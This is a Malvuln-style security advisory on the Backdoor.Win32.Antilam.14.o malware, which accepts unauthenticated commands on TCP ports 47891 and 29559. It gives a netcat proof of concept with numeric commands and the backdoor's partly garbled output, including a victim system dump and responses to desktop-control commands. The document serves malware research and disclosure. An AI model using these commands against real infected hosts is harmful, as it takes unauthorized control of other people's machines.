Backdoor.Win32.Antilam.14.o Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/2914f01e65d848655d4f1aac51ff04d1.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Antilam.14.o  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP ports 47891, 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 and perform various actions on the infected host.  
Type: PE32  
MD5: 2914f01e65d848655d4f1aac51ff04d1  
Vuln ID: MVID-2021-0379  
Disclosure: 10/27/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 47891  
001  
001╧α∩Ωα Windows: C:\WINDOWS  
╧α∩Ωα System:  
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\  
┬σ≡±Φ Windows: Windows NT 6.2 9200  
╠Φφ≤≥ Γ Windows: 711  
╚∞ Ωε∞∩α: DESKTOP-2C3IQHO  
╚∞ ■τσ≡α: Victim  
▀τ√Ω Windows: English (United States)  
╨ατ≡σ°σφΦσ: 1547x787  
NumLock: Off  
CapsLock: Off  
ScrollLock: Off  
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α  
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 973,041,664  
╒ε±≥: DESKTOP-2C3IQHO  
╩δΦσφ≥εΓ ∩εΣΩδ■≈σφε: 2002  
000 ╨αßε≈ΦΘ ±≥εδ ±Ω≡√δ± ...003  
000 ╧╙╤╩ ±Ω≡√δ± ...004  
000Taskbar ±Ω≡√δ± ...005  
000╚ΩεφΩΦ ±Ω≡√δΦ±ⁿ...006  
000╫α±√ ±Ω≡√δΦ±ⁿ...007  
000Monitor Γ√Ωδ■≈σφ...008  
000Ctrl+Alt+Del Γ√Ωδ■≈σφ...009  
000ScrollLock Γ√Ωδ■≈σφ...010  
000CapsLock Γ√Ωδ■≈σφ...011  
000NumLock Γ√Ωδ■≈σφ...012  
000CD-ROM ταΩ≡√≥...013  
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Γ≡σ∞ ...014  
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Σα≥≤...015  
01508:44 PM|10/19/2021016  
000╩φε∩ΩΦ ∞√°Φ ΓετΓ≡α∙σφ√...017  
000┴σ°σφα ∞√°ⁿ ε≥Ωδ■≈σφα...018  
000Mouse was been unlocked...019  
  
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